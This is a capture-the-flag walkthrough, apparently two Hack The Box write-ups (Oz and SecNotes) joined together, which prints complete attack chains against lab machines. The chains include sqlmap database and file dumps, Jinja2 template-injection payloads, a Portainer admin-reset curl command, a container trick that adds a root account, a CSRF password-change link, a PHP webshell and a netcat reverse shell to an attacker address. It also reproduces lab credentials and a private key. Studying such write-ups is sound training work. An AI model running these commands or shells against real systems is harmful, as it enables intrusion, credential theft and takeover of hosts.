Nmap done: 1 IP address (1 host up) scanned in 29.66 seconds

Nmap reveals that Python Werkzeug is listening on ports 80 and 8808.

Directory / File Enumeration

Let’s use wfuzz to check out what’s next.

root@kali:~/htb/oz#  wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://10.10.10.96/FUZZ

********************************************************
* Wfuzz 2.3.1 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.96/FUZZ
Total requests: 950

==================================================================
ID   Response   Lines      Word         Chars          Payload    
==================================================================

000001:  C=200      0 L	       1 W	    216 Ch	  "e"
000002:  C=200      0 L	       4 W	     27 Ch	  "00"
000003:  C=200      0 L	       1 W	    186 Ch	  "01"
000004:  C=200      0 L	       4 W	     27 Ch	  "02"
000005:  C=200      0 L	       1 W	    159 Ch	  "03"
000006:  C=200      0 L	       4 W	     27 Ch	  "1"
000007:  C=200      0 L	       4 W	     27 Ch	  "10"
000008:  C=200      0 L	       1 W	    126 Ch	  "100"
000009:  C=200      0 L	       4 W	     27 Ch	  "1000"
000010:  C=200      0 L	       4 W	     27 Ch	  "123"

Hold up. Something’s not right. Every request results in a 200?

Just like above, the response is either one line with “Please register a username!” or a random string with mixed digits and uppercase letters. Well, this is easy to fix with wfuzz’s filtering syntax.

root@kali:~/htb/oz# wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hl 0 http://10.10.10.96/FUZZ

********************************************************
* Wfuzz 2.3.1 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.96/FUZZ
Total requests: 950

==================================================================
ID   Response   Lines      Word         Chars          Payload    
==================================================================

000871:  C=200      3 L	       6 W	     79 Ch	  "users"

Total time: 6.389402
Processed Requests: 950
Filtered Requests: 949
Requests/sec.: 148.6837

Visiting /users/admin shows that “admin” is a valid username.

Aside from /admin under users directory, an ` (apostrophe) was also discovered by our simple python script and visiting it will give us an Internal Server Error.

Internal Server Error (500) may indicates that the value after /users is vulnerable to SQL Injection.

SQL Injection

Enter sqlmap. The popular open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers.

# sqlmap –url=http://10.10.10.96/users/*

Perfect. We can now proceed to dump the database!

root@kali:~/htb/oz# sqlmap --dump --url=http://10.10.10.96/users/*

[*] starting @ 14:16:25 /2019-01-24/

custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] y
[14:16:28] [INFO] resuming back-end DBMS 'mysql' 
[14:16:28] [INFO] testing connection to the target URL
[14:16:28] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload: http://10.10.10.96:80/users/' UNION ALL SELECT CONCAT(CONCAT('qpzvq','IsehBftaMfdCMpGBNErSCmWHnfyauRfdulaBFbqj'),'qqpqq')-- PqUw
---
[14:16:28] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5 (MariaDB fork)
[14:16:28] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[14:16:28] [INFO] fetching current database
[14:16:28] [INFO] fetching tables for database: 'ozdb'
[14:16:28] [INFO] used SQL query returns 2 entries
[14:16:29] [INFO] retrieved: tickets_gbw
[14:16:29] [INFO] retrieved: users_gbw
[14:16:29] [INFO] fetching columns for table 'users_gbw' in database 'ozdb' 
[14:16:29] [INFO] used SQL query returns 3 entries
[14:16:29] [INFO] retrieved: "id","int(11)"
[14:16:29] [INFO] retrieved: "username","text"
[14:16:29] [INFO] retrieved: "password","text"
[14:16:29] [INFO] fetching entries for table 'users_gbw' in database 'ozdb' 
[14:16:29] [INFO] used SQL query returns 6 entries
[14:16:29] [INFO] retrieved: "1","$pbkdf2-sha256$5000$aA3h3LvXOseYk3IupVQKgQ$ogPU/XoFb.nzdCGDulkW3AeDZPbK580zeTxJnG0EJ78","dorthi"
[14:16:29] [INFO] retrieved: "2","$pbkdf2-sha256$5000$GgNACCFkDOE8B4AwZgzBuA$IXewCMHWhf7ktju5Sw.W.ZWMyHYAJ5mpvWialENXofk","tin.man"
[14:16:29] [INFO] retrieved: "3","$pbkdf2-sha256$5000$BCDkXKuVMgaAEMJ4z5mzdg$GNn4Ti/hUyMgoyI7GKGJWeqlZg28RIqSqspvKQq6LWY","wizard.oz"
[14:16:29] [INFO] retrieved: "4","$pbkdf2-sha256$5000$bU2JsVYqpbT2PqcUQmjN.Q$hO7DfQLTL6Nq2MeKei39Jn0ddmqly3uBxO/tbBuw4DY","coward.lyon"
[14:16:29] [INFO] retrieved: "5","$pbkdf2-sha256$5000$Zax17l1Lac25V6oVwnjPWQ$oTYQQVsuSz9kmFggpAWB0yrKsMdPjvfob9NfBq4Wtkg","toto"
[14:16:29] [INFO] retrieved: "6","$pbkdf2-sha256$5000$d47xHsP4P6eUUgoh5BzjfA$jWgyYmxDK.slJYUTsv9V9xZ3WWwcl9EBOsz.bARwGBQ","admin"
Database: ozdb 
Table: users_gbw
[6 entries]
+----+-------------+----------------------------------------------------------------------------------------+
| id | username | password |
+----+-------------+----------------------------------------------------------------------------------------+
| 1 | dorthi | $pbkdf2-sha256$5000$aA3h3LvXOseYk3IupVQKgQ$ogPU/XoFb.nzdCGDulkW3AeDZPbK580zeTxJnG0EJ78 |
| 2 | tin.man | $pbkdf2-sha256$5000$GgNACCFkDOE8B4AwZgzBuA$IXewCMHWhf7ktju5Sw.W.ZWMyHYAJ5mpvWialENXofk |
| 3 | wizard.oz | $pbkdf2-sha256$5000$BCDkXKuVMgaAEMJ4z5mzdg$GNn4Ti/hUyMgoyI7GKGJWeqlZg28RIqSqspvKQq6LWY |
| 4 | coward.lyon | $pbkdf2-sha256$5000$bU2JsVYqpbT2PqcUQmjN.Q$hO7DfQLTL6Nq2MeKei39Jn0ddmqly3uBxO/tbBuw4DY |
| 5 | toto | $pbkdf2-sha256$5000$Zax17l1Lac25V6oVwnjPWQ$oTYQQVsuSz9kmFggpAWB0yrKsMdPjvfob9NfBq4Wtkg |
| 6 | admin | $pbkdf2-sha256$5000$d47xHsP4P6eUUgoh5BzjfA$jWgyYmxDK.slJYUTsv9V9xZ3WWwcl9EBOsz.bARwGBQ |
+----+-------------+----------------------------------------------------------------------------------------+

[14:16:29] [INFO] table 'ozdb.users_gbw' dumped to CSV file '/root/.sqlmap/output/10.10.10.96/dump/ozdb/users_gbw.csv'
[14:16:29] [INFO] fetching columns for table 'tickets_gbw' in database 'ozdb'
[14:16:29] [INFO] used SQL query returns 3 entries
[14:16:29] [INFO] retrieved: "id","int(11)"
[14:16:29] [INFO] retrieved: "name","varchar(10)"
[14:16:29] [INFO] retrieved: "desc","text"
[14:16:29] [INFO] fetching entries for table 'tickets_gbw' in database 'ozdb' 
[14:16:29] [INFO] used SQL query returns 12 entries
[14:16:30] [INFO] retrieved: "Reissued new id_rsa and id_rsa.pub keys for ssh access to dorthi.","1","GBR-987"
[14:16:30] [INFO] retrieved: "Where did all these damn monkey's come from!? I need to call pest control.","2","GBR-1204"
[14:16:30] [INFO] retrieved: "Note to self: Toto keeps chewing on the curtain, find one with dog repellent.","3","GBR-1205"
[14:16:30] [INFO] retrieved: "Nothing to see here... V2hhdCBkaWQgeW91IGV4cGVjdD8=","4","GBR-1389"
[14:16:30] [INFO] retrieved: "Think of a better secret knock for the front door. Doesn't seem that secure, a Lion got in today.","5","GBR-4034"
[14:16:30] [INFO] retrieved: "I bet you won't read the next entry.","6","GBR-5012"
[14:16:30] [INFO] retrieved: "HAHA! Made you look.","7","GBR-7890"
[14:16:30] [INFO] retrieved: "Dorthi should be able to find her keys in the default folder under /home/dorthi/ on the db.","8","GBR-7945"
[14:16:30] [INFO] retrieved: "Seriously though, WW91J3JlIGp1c3QgdHJ5aW5nIHRvbyBoYXJkLi4uIG5vYm9keSBoaWRlcyBhbnl0aGluZyBpbiBiYXNlNjQgYW55bW9yZS4uLiBjJ21vbi4="...
[14:16:30] [INFO] retrieved: "You are just wasting time now... someone else is getting user.txt","10","GBR-8042"
[14:16:30] [INFO] retrieved: "Look... now they've got root.txt and you don't even have user.txt","11","GBR-8457"
[14:16:30] [INFO] retrieved: "db information loaded to ticket application for shared db access","12","GBR-9872"
Database: ozdb 
Table: tickets_gbw
[12 entries]
+----+----------+--------------------------------------------------------------------------------------------------------------------------------+
| id | name | desc |
+----+----------+--------------------------------------------------------------------------------------------------------------------------------+
| 1 | GBR-987 | Reissued new id_rsa and id_rsa.pub keys for ssh access to dorthi. |
| 2 | GBR-1204 | Where did all these damn monkey's come from!? I need to call pest control. |
| 3 | GBR-1205 | Note to self: Toto keeps chewing on the curtain, find one with dog repellent. |
| 4 | GBR-1389 | Nothing to see here... V2hhdCBkaWQgeW91IGV4cGVjdD8= |
| 5 | GBR-4034 | Think of a better secret knock for the front door. Doesn't seem that secure, a Lion got in today. |
| 6 | GBR-5012 | I bet you won't read the next entry. |
| 7 | GBR-7890 | HAHA! Made you look. |
| 8 | GBR-7945 | Dorthi should be able to find her keys in the default folder under /home/dorthi/ on the db. |
| 9 | GBR-8011 | Seriously though, WW91J3JlIGp1c3QgdHJ5aW5nIHRvbyBoYXJkLi4uIG5vYm9keSBoaWRlcyBhbnl0aGluZyBpbiBiYXNlNjQgYW55bW9yZS4uLiBjJ21vbi4= |
| 10 | GBR-8042 | You are just wasting time now... someone else is getting user.txt |
| 11 | GBR-8457 | Look... now they've got root.txt and you don't even have user.txt |
| 12 | GBR-9872 | db information loaded to ticket application for shared db access |
+----+----------+--------------------------------------------------------------------------------------------------------------------------------+

[14:16:30] [INFO] table 'ozdb.tickets_gbw' dumped to CSV file '/root/.sqlmap/output/10.10.10.96/dump/ozdb/tickets_gbw.csv'
[14:16:30] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.10.10.96'

[*] ending @ 14:16:30 /2019-01-24/

I also tried dumping local files using the sqlmap command below and was able to retrieve SSH Private Key and passwd file.

root@kali:~/htb/oz# sqlmap -u "http://10.10.10.96/users/*" --file-read=/home/dorthi/.ssh/id_rsa --batch
___

[*] starting @ 14:26:24 /2019-01-24/

do you want confirmation that the remote file '/home/dorthi/.ssh/id_rsa' has been successfully downloaded from the back-end DBMS file system? [Y/n] Y
[14:30:13] [INFO] the local file '/root/.sqlmap/output/10.10.10.96/files/_home_dorthi_.ssh_id_rsa' and the remote file '/home/dorthi/.ssh/id_rsa' have the same size (1766 B)
files saved to [1]:
[*] /root/.sqlmap/output/10.10.10.96/files/_home_dorthi_.ssh_id_rsa (same file)

[14:30:13] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.10.10.96'

[*] ending @ 14:30:13 /2019-01-24/
root@kali:~/htb/oz# cat /root/.sqlmap/output/10.10.10.96/files/_home_dorthi_.ssh_id_rsa 
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,66B9F39F33BA0788CD27207BF8F2D0F6

RV903H6V6lhKxl8dhocaEtL4Uzkyj1fqyVj3eySqkAFkkXms2H+4lfb35UZb3WFC
b6P7zYZDAnRLQjJEc/sQVXuwEzfWMa7pYF9Kv6ijIZmSDOMAPjaCjnjnX5kJMK3F
e1BrQdh0phWAhhUmbYvt2z8DD/OGKhxlC7oT/49I/ME+tm5eyLGbK69Ouxb5PBty
h9A+Tn70giENR/ExO8qY4WNQQMtiCM0tszes8+guOEKCckMivmR2qWHTCs+N7wbz
a//JhOG+GdqvEhJp15pQuj/3SC9O5xyLe2mqL1TUK3WrFpQyv8lXartH1vKTnybd
9+Wme/gVTfwSZWgMeGQjRXWe3KUsgGZNFK75wYtA/F/DB7QZFwfO2Lb0mL7Xyzx6
ZakulY4bFpBtXsuBJYPNy7wB5ZveRSB2f8dznu2mvarByMoCN/XgVVZujugNbEcj
evroLGNe/+ISkJWV443KyTcJ2iIRAa+BzHhrBx31kG//nix0vXoHzB8Vj3fqh+2M
EycVvDxLK8CIMzHc3cRVUMBeQ2X4GuLPGRKlUeSrmYz/sH75AR3zh6Zvlva15Yav
5vR48cdShFS3FC6aH6SQWVe9K3oHzYhwlfT+wVPfaeZrSlCH0hG1z9C1B9BxMLQr
DHejp9bbLppJ39pe1U+DBjzDo4s6rk+Ci/5dpieoeXrmGTqElDQi+KEU9g8CJpto
bYAGUxPFIpPrN2+1RBbxY6YVaop5eyqtnF4ZGpJCoCW2r8BRsCvuILvrO1O0gXF+
wtsktmylmHvHApoXrW/GThjdVkdD9U/6Rmvv3s/OhtlAp3Wqw6RI+KfCPGiCzh1V
0yfXH70CfLO2NcWtO/JUJvYH3M+rvDDHZSLqgW841ykzdrQXnR7s9Nj2EmoW72IH
znNPmB1LQtD45NH6OIG8+QWNAdQHcgZepwPz4/9pe2tEqu7Mg/cLUBsTYb4a6mft
icOX9OAOrcZ8RGcIdVWtzU4q2YKZex4lyzeC/k4TAbofZ0E4kUsaIbFV/7OMedMC
zCTJ6rlAl2d8e8dsSfF96QWevnD50yx+wbJ/izZonHmU/2ac4c8LPYq6Q9KLmlnu
vI9bLfOJh8DLFuqCVI8GzROjIdxdlzk9yp4LxcAnm1Ox9MEIqmOVwAd3bEmYckKw
w/EmArNIrnr54Q7a1PMdCsZcejCjnvmQFZ3ko5CoFCC+kUe1j92i081kOAhmXqV3
c6xgh8Vg2qOyzoZm5wRZZF2nTXnnCQ3OYR3NMsUBTVG2tlgfp1NgdwIyxTWn09V0
nOzqNtJ7OBt0/RewTsFgoNVrCQbQ8VvZFckvG8sV3U9bh9Zl28/2I3B472iQRo+5
uoRHpAgfOSOERtxuMpkrkU3IzSPsVS9c3LgKhiTS5wTbTw7O/vxxNOoLpoxO2Wzb
/4XnEBh6VgLrjThQcGKigkWJaKyBHOhEtuZqDv2MFSE6zdX/N+L/FRIv1oVR9VYv
QGpqEaGSUG+/TSdcANQdD3mv6EGYI+o4rZKEHJKUlCI+I48jHbvQCLWaR/bkjZJu
XtSuV0TJXto6abznSC1BFlACIqBmHdeaIXWqH+NlXOCGE8jQGM8s/fd/j5g1Adw3
-----END RSA PRIVATE KEY-----

SSH Private

Aside from SSH Private Key, I also dumped the passwd file.

root@kali:~/htb/oz# sqlmap -u "http://10.10.10.96/users/*" --file-read=/etc/passwd --batch
___

[*] starting @ 14:33:33 /2019-01-24/

custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] Y
[14:33:33] [INFO] resuming back-end DBMS 'mysql' 
[14:33:33] [INFO] testing connection to the target URL
[14:33:33] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload: http://10.10.10.96:80/users/' UNION ALL SELECT CONCAT(CONCAT('qpzvq','IsehBftaMfdCMpGBNErSCmWHnfyauRfdulaBFbqj'),'qqpqq')-- PqUw
---
[14:33:33] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5 (MariaDB fork)
[14:33:33] [INFO] fingerprinting the back-end DBMS operating system
[14:33:33] [INFO] the back-end DBMS operating system is Linux
[14:33:33] [INFO] fetching file: '/etc/passwd'
do you want confirmation that the remote file '/etc/passwd' has been successfully downloaded from the back-end DBMS file system? [Y/n] Y
[14:33:33] [INFO] the local file '/root/.sqlmap/output/10.10.10.96/files/_etc_passwd' and the remote file '/etc/passwd' have the same size (798 B)
files saved to [1]:
[*] /root/.sqlmap/output/10.10.10.96/files/_etc_passwd (same file)

[14:33:33] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.10.10.96'

[*] ending @ 14:33:33 /2019-01-24/

root@kali:~/htb/oz# cat /root/.sqlmap/output/10.10.10.96/files/_etc_passwd 
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
mysql:x:999:999::/home/mysql:/bin/sh

John the Ripper

So, After dumping all the local files and data from the ozdb database, I used a tool called john to crack the PBKDF2-SHA256 hashes that I found on users_gbw table.

Luckily, I cracked one of the hashes.

The string wizardofoz22 is the password for wizard.oz account.

Server Side Template Injection (SSTI)

GBR Support website

Using the credential of wizard.oz, I successfully logged into the website.

The list of tickets in the website is same with the data I dumped from tickets_gbw table.

Aside from ticket viewing, we can also create a new ticket. After trying different kind of injection, I found out that the creation of ticket is vulnerable to Server Side Template Injection (SSTI).

In SSTI, there are many template engines that could be vulnerable to this attack. There are SSTI in Ruby, Java, Smarty, Twig, Jinja. Mako, Jade, etc.

But for this box, Jinja2 payload from PayloadsAllTheThings works fine after using {{7*’7'}} and it returns 7777777 and not 49.

Discovering the correct template engine

SSTI payload below will help us retrieve the passwd file.

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
Retrieving /etc/passwd file

In Jinja2 templates, there are several global variables such as config.

{{config}}
global variable config output

The output of the config global variable reveals the credentials below.

mysql+pymysql://dorthi:N0Pl4c3L1keH0me@10.100.10.4/ozdb

Retrieving the config items will show us some functions and variables.

{{config.items()}}

Command Execution

RUNCMD caught my attention because it can be used to perform Command Execution.

Using the payload below, I was able to retrieve theid of the machine.

Retrieving id of the machine

After that, I kept on digging inside the machine to discover more interesting files and found some credentials.

Discovered Credentials
Password = SuP3rS3cr3tP@ss
User = dorthi
Password = N0Pl4c3L1keH0me

The file also mentioned SSH so I think one of the two discovered passwords can be used to authenticated in SSH? Hmm we’ll see later.

Then, I discovered an interesting directory named .secret.

Inside the directory, a file named knockd.conf was retrieved and checking the content of the file returns configuration of UDP ports. These ports can be used to perform a port knocking to open the SSH service. (So we can possibly use the credentials above)

Knockd config

Port Knocking

Knocking on Heaven’s Door

Now that we know the port-knocking sequence, let’s write a script with nmap as the main driver. Bear in mind the port sequences are in UDP only. That’s why nmap is ran with -sU.

root@kali:~/htb/oz# cat knockknock.sh 
#!/bin/bash

TARGET=$1

for ports in $(cat permutation.txt); do
echo "[*] Trying sequence $ports..."
for p in $(echo $ports | tr ',' ' '); do
nmap -n -v0 -Pn --max-retries 0 -p $p -sU $TARGET
done
sleep 1
nmap -n -v -Pn -p22 -T5 $TARGET -oN ${ports}.txt
ssh -i id_rsa dorthi@$TARGET
done

permutation.txt contains the sequence 40809,50212,46969.

True enough, the SSH service is now unlocked. But, because the sequence is valid for 15 seconds, we need to act fast.

The user.txt is located at dorthi’s home directory.

Privilege Escalation

During enumeration of dorthi’s account, I noticed that dorthi is allowed to run the following commands as root without password.

46e373ff.png

The idea behind these commands is so that dorthi can find out which IP address the Portainer container is on.

86999f49.png

Now, there’s something very wrong with Portainer 1.11.1; you can reset the admin password to your liking.

And, since curl is available, let’s use it to change the admin password like so.

$ curl -i -H "Content-Type: application/json" -d '{"username":"admin","password":"noplacelikehome"}' 172.17.0.2:9000/api/users/admin/init

Next, let’s forward the port to my attacking machine so that I can use my browser to access the Portainer web user interface. But first, I need to enable SSH on my machine.

On my machine

root@kali:~/htb/oz# systemctl start ssh

On the remote shell

dorthi@Oz:~$ ssh -R 10.10.14.13:9999:172.17.0.2:9000 puck@10.10.14.13 -fN
puck@10.10.14.13's password: 

On my machine

root@kali:~/htb# netstat -alnp | grep 9999
tcp 0 0 127.0.0.1:9999 0.0.0.0:* LISTEN 12394/sshd: puck 
tcp6 0 0 ::1:9999 :::* LISTEN 12394/sshd: puck

This is how Portainer looks like, browsed from my pc.

bb59f3f9.png

Oh! The sweet taste of admin access.

7ef2f185.png

We know that Portainer is running as root. And the creators are so kind to leave image python:2.7-alpine for us to create our own container.

d147e2ca.png

Let’s create a container with the image and mount /etc/password as /opt/passwd. We’ll add an account with the same UID as root.

Give ourselves a TTY console

dbc6fc6a.png

Map /etc/passwd on the host to /opt/passwd on the container

7f248c97.png

Start the container in privileged mode

255ec94d.png

Once the container starts, go to the console and edit /opt/passwd with vi.

a2509434.png

to5bce5sr7eK6 is the crypt hash of “toor” with salt “toor”.

# perl -e 'print crypt("toor", "toor")'

Once that’s done, we can su to root in the low-privileged shell obtained earlier.

465400fc.png

htb-secnotes-nl

Today we are going to solve another CTF challenge “SecNotes” which is available online for those who want to increase their skill in penetration testing and black box testing. SecNotes is retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.

Level: Medium

Task: find user.txt and root.txt file on victim’s machine.

Since these labs are online available therefore they have static IP and IP of sense is 10.10.10.97 so let’s begin with nmap port enumeration.

c:\PENTEST>nmap -sC -sV 10.10.10.97
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-21 18:18 W. Europe Standard Time
Nmap scan report for 10.10.10.97
Host is up (0.022s latency).
Not shown: 998 filtered ports
PORT    STATE SERVICE      VERSION
80/tcp  open  http         Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
| http-title: Secure Notes - Login
|_Requested resource was login.php
445/tcp open  microsoft-ds Windows 10 Enterprise 17134 microsoft-ds (workgroup: HTB)
Service Info: Host: SECNOTES; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 2h36m34s, deviation: 4h37m08s, median: -3m26s
| smb-os-discovery:
|   OS: Windows 10 Enterprise 17134 (Windows 10 Enterprise 6.3)
|   OS CPE: cpe:/o:microsoft:windows_10::-
|   Computer name: SECNOTES
|   NetBIOS computer name: SECNOTES\x00
|   Workgroup: HTB\x00
|_  System time: 2019-01-21T09:15:49-08:00
| smb-security-mode:
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2019-01-21 18:15:51
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 65.69 seconds

c:\PENTEST>

After registering an account and gaining access to the web application, additional functionality to create notes, change password and a contact form are available. The user “tyler” is referenced.
Vulnerability Validation
Weak Password Change Mechanism
A common issue with password change mechanisms is a failure to validate that the user knows the existing password. Password recovery mechanisms also allow users to change their password without knowing the existing password, but may require an additional verification step,
such as sending the reset request to the email address associated with the username. If a malicious user gets a victim to click on a malicious password change request, and validation of the existing password is not required, then they may be able to take control of the account.

Cross-Site Request Forgery (CSRF)
The "Contact Us" form is directed to tyler, and if a malicious password reset request is sent to this user, they might click the link. CSRF tokens would defend against this attack, but they haven’t been implemented in the web application. In Burp, the "Change Password" request type is
changed from POST to GET, and the malicious URL is constructed.
http://10.10.10.97/change_pass.php?password=123456&confirm_password=123456
sword&submit=submit
The URL is pasted into the message body of the Contact request, and after a short while the credentials tyler:123456 can be used to log into the website.
Once logged in, credentials to access a SMB share are found.

.

 

Second-Order SQL Injection
Access to the SMB credentials can also be gained by bypassing the authentication mechanism.
The website is tested for SQL vulnerabilities. A number of authentication bypass payloads are
selected the from the SecLists Generic-SQLi list.
https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/Generic-SQLi.txt
‘ or 0=0 —
‘ or 0=0 #
‘ or 0=0 #”
‘ or ‘1’=’1′ —
‘ or 1 –‘
‘ or 1=1 —
‘ or 1=1 or ”=’
‘ or 1=1 or “”=
‘ or a=a —
‘ or a=a
‘) or (‘a’=’a
‘hi’ or ‘x’=’x’;
The login request is sent to the Burp Intruder module (CTRL + I), but this test is not successful.

The register page is tested next, and a payload of ‘ or 1=1– returns the result “This username is already taken”. Other payloads seem to have been accepted and registered as valid user accounts.

We tried inserting SQL injection queries in login form and nothing showed up. Then we tried inserting 2nd order SQL injection which is nothing but inserting SQL injection queries on the sign up form itself hoping that the server side script shows any unusual behavior and reveals some database information.

According to PortSwigger: “Second-order SQL injection arises when user-supplied data is stored by the application and later incorporated into SQL queries in an unsafe way. To detect the vulnerability, it is normally necessary to submit suitable data in one location, and then use some other application function that processes the data in an unsafe way.

The query that we used was:

Username: ' or 1='1
Password: ' or 1='1
Confirm password: ' or 1='1

It hit successfully and opened up a user account. Seemed like the heading was causing this 2nd order SQLi vulnerability. But it solved our purpose and gave us three notes from the database. The third one had something that seemed like the username and password of a service.

Tyler seems to be a person responsible for people’s queries. After obtaining Tyler’s password the first guess was logging into SMB server running on port 445.

Foothold SMB Share Access
The details are used to access the “new-site” share, which seems to be the IIS webroot

root@kali:~/htb# smbclient //secnotes.htb/new-site -U "tyler"
Enter WORKGROUP\tyler's password: 92g!mA8BGjOirkL%OG*&
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sun Aug 19 14:06:14 2018
.. D 0 Sun Aug 19 14:06:14 2018
iisstart.htm A 696 Thu Jun 21 11:26:03 2018
iisstart.png A 98757 Thu Jun 21 11:26:03 2018

12978687 blocks of size 4096. 8118293 blocks available

Write access is possible, and a minimal PHP webshell puckie.php with the contents below is uploaded

<?php echo shell_exec($_GET["cmd"]); ?>

viewing user.txt

http://10.10.10.97:8808/puckie.php?cmd=type%20c:\users\tyler\desktop\user.txt
6fa*****4f3

Upgrade Webshell to Reverse Shell
In order to get a proper shell, the “Invoke-PowerShellTcp.ps1” PowerShell script from the Nishang can be used.
https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1
The following command is used to execute the reverse shell payload.

http://10.10.10.97:8808/puckiestyle.php?cmd=powershell%20-ep%20bypass%20.\puckieshell443.ps1

or with netcat (instead of Nishang)

root@kali:~/htb# curl 10.10.10.97:8808/puckiestyle.php?cmd=nc+-e+cmd.exe+10.10.14.5+9001
root@kali:~/htb# rlwrap nc -lvp 9001
listening on [any] 9001 ...
connect to [10.10.14.5] from secnotes.htb [10.10.10.97] 49722
Microsoft Windows [Version 10.0.17134.228]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\inetpub\new-site>whoami
whoami
secnotes\tyler

This is encoded in Burp (CTRL+U), the request is sent and a shell as SECNOTES\tyler is received.

C:\pentest>runas /netonly /user:secnotes.htb\tyler cmd
Enter the password for secnotes.htb\tyler:92g!mA8BGjOirkL%OG*&
Attempting to start cmd as user "secnotes.htb\tyler" ...

C:\pentest>

cmd [running as secnotes.htb\tyler)
C:\Windows\system32>dir \\10.10.10.97\new-site
Volume in drive \\10.10.10.97\new-site has no label.
Volume Serial Number is 9CDD-BADA

Directory of \\10.10.10.97\new-site

21/01/2019 10:22 <DIR> .
21/01/2019 10:22 <DIR> ..
21/06/2018 16:26 696    iisstart.htm
21/06/2018 16:26 98.757 iisstart.png
2 File(s) 99.453 bytes
2 Dir(s) 33.213.988.864 bytes free

c:\PENTEST>copy puckie.php \\10.10.10.97\new-site
1 file(s) copied.

c:\PENTEST>copy puckieshell443.ps1 \\10.10.10.97\new-site
1 file(s) copied.

c:\PENTEST>dir \\10.10.10.97\new-site
Volume in drive \\10.10.10.97\new-site has no label.
Volume Serial Number is 9CDD-BADA

Directory of \\10.10.10.97\new-site

21/01/2019 16:02 <DIR> .
21/01/2019 16:02 <DIR> ..
21/06/2018 16:26 696    iisstart.htm
21/06/2018 16:26 98.757 iisstart.png
21/01/2019 10:19 44     puckie.php
21/01/2019  14:05 4.401 puckieshell443.ps1
4 File(s) 99.497 bytes
2 Dir(s) 33.213.988.864 bytes free

c:\PENTEST>

netcat listener

C:\Users\jacco>nc -lvp 443
listening on [any] 443 ...
10.10.10.97: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.97] 49791: NO_DATA
ls
Windows PowerShell running as user SECNOTES$ on SECNOTES
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\inetpub\new-site>

Directory: C:\inetpub\new-site

Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 6/21/2018 8:26 AM 696   iisstart.htm
-a---- 6/21/2018 8:26 AM 98757 iisstart.png
-a---- 1/21/2019 1:19 AM 44    puckie.php
-a---- 1/21/2019 5:05 AM 4401  puckieshell443.ps1

Privilege Escalation
Discovery of Administrator Password
Enumeration of the C:\ reveals the file “Ubuntu.zip” and a “Distros\Ubuntu” folder. Potentially
Windows Subsystem for Linux (WSL) has been installed?
In order to check if WSL has been installed, the following command is issued.

PS C:\> Get-ChildItem HKCU:\Software\Microsoft\Windows\CurrentVersion\Lxss


Hive: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Lxss


Name Property
---- --------
{02893575-609c-4e3b-a426-00f9d State : 1
9b271da} DistributionName : Ubuntu-18.04
Version : 1
BasePath : C:\Users\tyler\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu18
.04onWindows_79rhkp1fndgsc\LocalState
PackageFamilyName : CanonicalGroupLimited.Ubuntu18.04onWindows_79rhkp1fndgsc

This confirms that WSL has been installed, and the Linux filesystem has been installed to the path as shown above

The Linux filesystem is enumerated. The “.bash_history” file is checked, and administrative credentials are discovered.

